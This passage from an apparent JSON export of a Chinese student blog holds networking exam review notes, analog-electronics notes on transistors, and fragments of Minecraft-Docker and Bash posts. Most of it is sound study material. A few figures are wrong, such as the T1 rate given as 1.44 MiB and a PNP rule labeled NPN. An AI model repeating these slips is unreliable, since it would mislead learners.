API。我一般会在微信上收报警消息。不过每次从日志开始读取日志确实不太好(会重复发送以前的错误信息)。这个回头得改一改。要么每次退出时清空日志,要么设置个读取行指示的全局变量。\u003c/p\u003e\u003cp\u003e就是这样啦。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/07/%E6%B8%B8%E6%88%8F/Minecraft/%E7%94%A8Docker%E5%BC%80%E4%B8%AAMC%E6%9C%8D%E5%8A%A1%E5%99%A8/"},{"title":"计网笔记:复习","time":"2023-06-07T07:06:44Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-1-概述\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-1-%E6%A6%82%E8%BF%B0\" class=\"headerlink\" title=\"Chap.1.概述\"\u003e\u003c/a\u003eChap.1.概述\u003c/h2\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e数据通信的概念及模型\u003c/strong\u003e:报文、接收方、传输协议等\u003c/li\u003e\u003cli\u003e数据流\u003c/li\u003e\u003cli\u003e计算机网络的概念\u003c/li\u003e\u003cli\u003e网络的三个准则\u003c/li\u003e\u003cli\u003e链路的概念\u003c/li\u003e\u003cli\u003e拓扑结构:网状、星形、主干形\u003c/li\u003e\u003cli\u003e网络模型的概念\u003c/li\u003e\u003cli\u003e网络分类\u003c/li\u003e\u003cli\u003e因特网的历史:前身-ARPANET\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e协议的概念和三个要素\u003c/strong\u003e:p13,语法(数据结构)、语义和时序\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-2-网络模型\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-2-%E7%BD%91%E7%BB%9C%E6%A8%A1%E5%9E%8B\" class=\"headerlink\" title=\"Chap.2.网络模型\"\u003e\u003c/a\u003eChap.2.网络模型\u003c/h2\u003e\u003col start=\"11\"\u003e\u003cli\u003e分层的概念\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eOSI模型概念和各层功能\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP/IP协议簇和各层功能\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e地址:物理/逻辑/端口地址\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-3-物理层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-3-%E7%89%A9%E7%90%86%E5%B1%82\" class=\"headerlink\" title=\"Chap.3.物理层\"\u003e\u003c/a\u003eChap.3.物理层\u003c/h2\u003e\u003col start=\"15\"\u003e\u003cli\u003e数字信号:\u003c/li\u003e\u003cli\u003e传输减损:\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数据速率限制\u003c/strong\u003e:乃亏斯特定理、香浓容量定理\u003c/li\u003e\u003cli\u003e性能:\u003cstrong\u003e带宽、吞吐量、\u003c/strong\u003e延迟、\u003cstrong\u003e传播时间、传输时间\u003c/strong\u003e、排队时间、带宽与延迟的乘积和概念\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-4-数字传输\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-4-%E6%95%B0%E5%AD%97%E4%BC%A0%E8%BE%93\" class=\"headerlink\" title=\"Chap.4.数字传输\"\u003e\u003c/a\u003eChap.4.数字传输\u003c/h2\u003e\u003col start=\"19\"\u003e\u003cli\u003e线路编码\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e线路编码方案(重要)\u003c/strong\u003e:NRZ、NRZ-L/I、RZ、\u003cstrong\u003e双相码\u003c/strong\u003e、双极性编码。这里的差分编码根据初始值不同,可能有两个答案\u003c/li\u003e\u003cli\u003e块编码\u003c/li\u003e\u003cli\u003e扰码\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e脉码调制PCM\u003c/strong\u003e:采样(\u003cstrong\u003e采样率\u0026gt;=2倍最高频率\u003c/strong\u003e)、量化等级、简化误差\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-5-模拟传输\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-5-%E6%A8%A1%E6%8B%9F%E4%BC%A0%E8%BE%93\" class=\"headerlink\" title=\"Chap.5.模拟传输\"\u003e\u003c/a\u003eChap.5.模拟传输\u003c/h2\u003e\u003col start=\"27\"\u003e\u003cli\u003e了解基本概念和原理即可。\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-6-带宽利用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-6-%E5%B8%A6%E5%AE%BD%E5%88%A9%E7%94%A8\" class=\"headerlink\" title=\"Chap.6.带宽利用\"\u003e\u003c/a\u003eChap.6.带宽利用\u003c/h2\u003e\u003col start=\"28\"\u003e\u003cli\u003e复用:FDM、同步/统计TDM(了解)、WDM\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数字层次、T1载波(速率1.44MiB)、E1载波(2.048MiB)\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-7-传输介质\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-7-%E4%BC%A0%E8%BE%93%E4%BB%8B%E8%B4%A8\" class=\"headerlink\" title=\"Chap.7.传输介质\"\u003e\u003c/a\u003eChap.7.传输介质\u003c/h2\u003e\u003col start=\"33\"\u003e\u003cli\u003e导向介质:双绞线(电信号,易受干扰)、同轴电缆、光纤(抗干扰能力最强)\u003c/li\u003e\u003cli\u003e无线传输介质\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-8-交换\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-8-%E4%BA%A4%E6%8D%A2\" class=\"headerlink\" title=\"Chap.8.交换\"\u003e\u003c/a\u003eChap.8.交换\u003c/h2\u003e\u003col start=\"35\"\u003e\u003cli\u003e\u003cstrong\u003e电路交换特点\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数据报交换特点\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e虚电路交换特点\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-9-过\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-9-%E8%BF%87\" class=\"headerlink\" title=\"Chap.9.过\"\u003e\u003c/a\u003eChap.9.过\u003c/h2\u003e\u003ch2 id=\"Chap-10-检错和纠错\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-10-%E6%A3%80%E9%94%99%E5%92%8C%E7%BA%A0%E9%94%99\" class=\"headerlink\" title=\"Chap.10.检错和纠错\"\u003e\u003c/a\u003eChap.10.检错和纠错\u003c/h2\u003e\u003col start=\"41\"\u003e\u003cli\u003e\u003cstrong\u003e纠错的概念和方法\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e循环冗余编码CRC(重要)\u003c/strong\u003e(不包含硬件实现、注意除数的长度)、CRC的检错能力分析(检测单个位差错、两个独立位差错、奇数个差错、突发性差错)\u003c/li\u003e\u003cli\u003e校验和及其计算方法\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-11-数据链路层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-11-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82\" class=\"headerlink\" title=\"Chap.11.数据链路层\"\u003e\u003c/a\u003eChap.11.数据链路层\u003c/h2\u003e\u003col start=\"50\"\u003e\u003cli\u003e\u003cstrong\u003e停止等待ARQ、后退N帧ARQ和选择重发ARQ、窗口、最大链路利用率\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eHDLC\u003c/strong\u003e\u003c/li\u003e\u003cli\u003ePPP协议\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-12-多路访问\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-12-%E5%A4%9A%E8%B7%AF%E8%AE%BF%E9%97%AE\" class=\"headerlink\" title=\"Chap.12.多路访问\"\u003e\u003c/a\u003eChap.12.多路访问\u003c/h2\u003e\u003col start=\"53\"\u003e\u003cli\u003e随机访问:纯ALOHA、时隙ALOHA、CSMA、\u003cstrong\u003eCSMA/CD\u003c/strong\u003e、CSMA/CA、\u003cstrong\u003e最小帧长、传播时长\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-13-14-有线-x2F-无线局域网\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-13-14-%E6%9C%89%E7%BA%BF-x2F-%E6%97%A0%E7%BA%BF%E5%B1%80%E5%9F%9F%E7%BD%91\" class=\"headerlink\" title=\"Chap.13-14.有线/无线局域网\"\u003e\u003c/a\u003eChap.13-14.有线/无线局域网\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e标准以太网的MAC子层\u003c/strong\u003e:帧格式、MAC地址、最短帧长等\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e802.11MAC子层、帧结构\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-15-连接局域网、主干网和虚拟局域网\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-15-%E8%BF%9E%E6%8E%A5%E5%B1%80%E5%9F%9F%E7%BD%91%E3%80%81%E4%B8%BB%E5%B9%B2%E7%BD%91%E5%92%8C%E8%99%9A%E6%8B%9F%E5%B1%80%E5%9F%9F%E7%BD%91\" class=\"headerlink\" title=\"Chap.15.连接局域网、主干网和虚拟局域网\"\u003e\u003c/a\u003eChap.15.连接局域网、主干网和虚拟局域网\u003c/h2\u003e\u003cul\u003e\u003cli\u003e连接设备:\u003cstrong\u003e透明网桥、二层交换机(它没有IP地址)、路由器\u003c/strong\u003e、无源集线器、中继器、有源集线器、网桥、生成树、三层交换机\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e虚拟局域网的概念及划分方法\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-19-逻辑寻址(重要)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-19-%E9%80%BB%E8%BE%91%E5%AF%BB%E5%9D%80%EF%BC%88%E9%87%8D%E8%A6%81%EF%BC%89\" class=\"headerlink\" title=\"Chap.19.逻辑寻址(重要)\"\u003e\u003c/a\u003eChap.19.逻辑寻址(重要)\u003c/h2\u003e\u003cul\u003e\u003cli\u003eIPV4地址:ABCDE类地址\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e掩码、子网和超网的概念\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e子网划分\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e无类别域间路由CIDR\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-20-IP协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-20-IP%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"Chap.20.IP协议\"\u003e\u003c/a\u003eChap.20.IP协议\u003c/h2\u003e\u003cp\u003e字段有啥大概也记一下\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eIP分组(数据报的格式)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e分片与MTU(以太网最大是1500)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eIPV4校验和\u003c/strong\u003e\u003c/li\u003e\u003cli\u003eIPV6分组格式、\u003cstrong\u003e零压缩规则\u003c/strong\u003e\u003c/li\u003e\u003cli\u003eIPV4和IPV6混合\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-21-地址映射、差错报告和多播\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-21-%E5%9C%B0%E5%9D%80%E6%98%A0%E5%B0%84%E3%80%81%E5%B7%AE%E9%94%99%E6%8A%A5%E5%91%8A%E5%92%8C%E5%A4%9A%E6%92%AD\" class=\"headerlink\" title=\"Chap.21.地址映射、差错报告和多播\"\u003e\u003c/a\u003eChap.21.地址映射、差错报告和多播\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eARP概念\u003c/strong\u003e、分组格式、封装、四种操作\u003c/li\u003e\u003cli\u003eDHCP概念\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eICMP(重点)\u003c/strong\u003e:概念、\u003cstrong\u003e报文格式\u003c/strong\u003e、\u003cstrong\u003e差错报告(5种)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003eIGMP的基本概念\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-22-传递、转发、路由选择\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-22-%E4%BC%A0%E9%80%92%E3%80%81%E8%BD%AC%E5%8F%91%E3%80%81%E8%B7%AF%E7%94%B1%E9%80%89%E6%8B%A9\" class=\"headerlink\" title=\"Chap.22.传递、转发、路由选择\"\u003e\u003c/a\u003eChap.22.传递、转发、路由选择\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e转发技术、转发过程\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e路由表、地址聚合、最长掩码匹配\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e路由算法(重点):Dijkstra(很重要)、Bellman Ford算法(重要)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e单播路由协议:AS概念、RIP协议(基于距离向量)、OSPF协议(基于状态向量)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e多播的概念和多播路由(了解)\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-23-UDP、TCP、SCTP\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-23-UDP%E3%80%81TCP%E3%80%81SCTP\" class=\"headerlink\" title=\"Chap.23.UDP、TCP、SCTP\"\u003e\u003c/a\u003eChap.23.\u003cstrong\u003eUDP、TCP\u003c/strong\u003e、SCTP\u003c/h2\u003e\u003cul\u003e\u003cli\u003e端口、套接字\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eUDP:概念、结构、校验和、操作\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP:特点、服务、文段格式\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP连接建立和拆除\u003c/strong\u003e\u003cul\u003e\u003cli\u003e学会画连接过程图:注意标注清楚seq,ack等字段\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP流量控制(信贷划窗协议)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP差错控制\u003c/strong\u003e:主要是重传(超时/快速)\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-24-拥塞控制和服务质量\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-24-%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6%E5%92%8C%E6%9C%8D%E5%8A%A1%E8%B4%A8%E9%87%8F\" class=\"headerlink\" title=\"Chap.24.拥塞控制和服务质量\"\u003e\u003c/a\u003eChap.24.拥塞控制和服务质量\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eTCP拥塞控制\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e服务质量\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-25-27-应用层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-25-27-%E5%BA%94%E7%94%A8%E5%B1%82\" class=\"headerlink\" title=\"Chap.25-27.应用层\"\u003e\u003c/a\u003eChap.25-27.应用层\u003c/h2\u003e\u003cul\u003e\u003cli\u003eFTP端口用两个端口20和21,一个用来传数据,一个用来传控制信息。\u003c/li\u003e\u003cli\u003e电子邮件协议:SMTP、MIME、POP3、IMAP等\u003c/li\u003e\u003cli\u003eTelnet\u003c/li\u003e\u003cli\u003eHTTP、DNS等、Cookies、URL等\u003c/li\u003e\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/"},{"title":"模电:第二章-三极管","time":"2023-06-05T09:16:16Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e三级管是模电中最重要的基础器件。其内部电流比较复杂,下面直接讨论其性质。\u003c/p\u003e\u003cul\u003e\u003cli\u003e结构 :三个掺杂区:base, emit, collect\u003c/li\u003e\u003cli\u003e三个电极:base, emit, collect\u003c/li\u003e\u003cli\u003e两个PN结:发射结,集电结\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e三极管有两类,PNP型和NPN型。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606220759.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"三极管特性\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/05/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E4%B8%89%E6%9E%81%E7%AE%A1/#%E4%B8%89%E6%9E%81%E7%AE%A1%E7%89%B9%E6%80%A7\" class=\"headerlink\" title=\"三极管特性\"\u003e\u003c/a\u003e三极管特性\u003c/h2\u003e\u003cp\u003e三极管可以看作是两个二极管并起来构成的。如果是N和N并,那就是NPN型三极管;否则是PNP型三极管。下面的图中是\u003cstrong\u003eNPN型三极管\u003c/strong\u003e,如果是PNP型,则箭头从上册斜线指向左侧竖线(箭头指向N型的方向)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230605172407.png\"/\u003e\u003c/p\u003e\u003cp\u003e三极管有三极,从上到下分别是C,B,E,分别是集电极,基极,发射极。对于NPN型三极管,电流流入C,B,从E流出;PNP型反之。\u003c/p\u003e\u003col\u003e\u003cli\u003e性质\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e电流关系(满足KCL关系):$I_C+I_B=I_E$\u003c/li\u003e\u003cli\u003e电流控制放大作用(\u003cstrong\u003e基极电流控制集电极电流\u003c/strong\u003e):$I_C=\\beta I_B$\u003c/li\u003e\u003cli\u003e比例分配关系:$i_B:i_C:i_E=1:\\beta:1+\\beta$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e$\\beta$称为(共射)电流放大系数。直流情况下的放大关系近似等于交流状态的放大关系。\u003c/p\u003e\u003cp\u003e也就是说,三极管的输入是$I_B$和$U_{BE}$,输出是$I_C$和$U_{CE}$。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606221157.png\"/\u003e\u003c/p\u003e\u003cp\u003e这是简化的基本电流方向关系(忽略$I_{CEO}$等电流)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230605175112.png\"/\u003e\u003c/p\u003e\u003cp\u003e晶体管的伏安特性曲线有两个图,因为它有三个端口。需要记住的是伏安特性的对应关系:\u003c/p\u003e\u003col\u003e\u003cli\u003e输入伏安关系:输入电流和发射结电压$U_{BE}$的关系\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e输入伏安特性是发射结的电流-电压关系,而发射结也是PN结,所以曲线也是一个指数曲线。但是它跟管压降有关,然而一般可以只画一条曲线来表示。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e输出伏安特性:集电极电流和管压降$U_{CE}$的关系\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606223354.png\"/\u003e\u003c/p\u003e\u003cp\u003e工作状态:\u003c/p\u003e\u003cul\u003e\u003cli\u003e发射结反偏($u_{BE}\u0026lt;U_{on}$):截止区\u003c/li\u003e\u003cli\u003e发射结正偏($u_{BE}\\geq U_{on})\u003cul\u003e\u003cli\u003e集电结反偏:放大区($u_{BC}\u0026lt;0$)\u003c/li\u003e\u003cli\u003e集电结正偏:饱和区($u_{BC}\u0026gt;0$)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e放大区的电位特点:\u003c/p\u003e\u003cul\u003e\u003cli\u003eNPN管:$u_C\\geq u_B\u0026gt;u_E,u_{BE}=0.7V/0.2V$\u003c/li\u003e\u003cli\u003eNPN管:$u_C\\leq u_B\u0026lt;u_E,u_{EB}=0.7V/0.2V$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e已知端电压,区分二极管种类时,两个相差0.2/0.7V的端口一定是b和e极。剩下的一个电位最高则是NPN,否则是PNP。然后再结合上面的等式分析b和e是分别是哪个:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606224126.png\"/\u003e\u003c/p\u003e\u003cp\u003e判断能否正常工作,首先看管子类型,其次看电位关系是否正确。同时,看电流是否合理(有没有保护电阻)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606224337.png\"/\u003e\u003c/p\u003e\u003cp\u003e用上面的方法,和KCL、KVL,就能求解下面的工作状态:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606225353.png\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/05/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E4%B8%89%E6%9E%81%E7%AE%A1/"},{"title":"Bash学习笔记","time":"2023-06-03T13:43:09Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eBash对于绝大多数任务来说够用。所以没必要太折腾,先试试Bash吧。\u003c/p\u003e\u003cp\u003e第一部分我会记录一些Linux自带(绝大多数情况)程序的用法,第二部分会把它们组合起来使用。\u003c/p\u003e\u003ch2 id=\"命令介绍\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%91%BD%E4%BB%A4%E4%BB%8B%E7%BB%8D\" class=\"headerlink\" title=\"命令介绍\"\u003e\u003c/a\u003e命令介绍\u003c/h2\u003e\u003ch3 id=\"数据操作类指令\"\u003e\u003ca 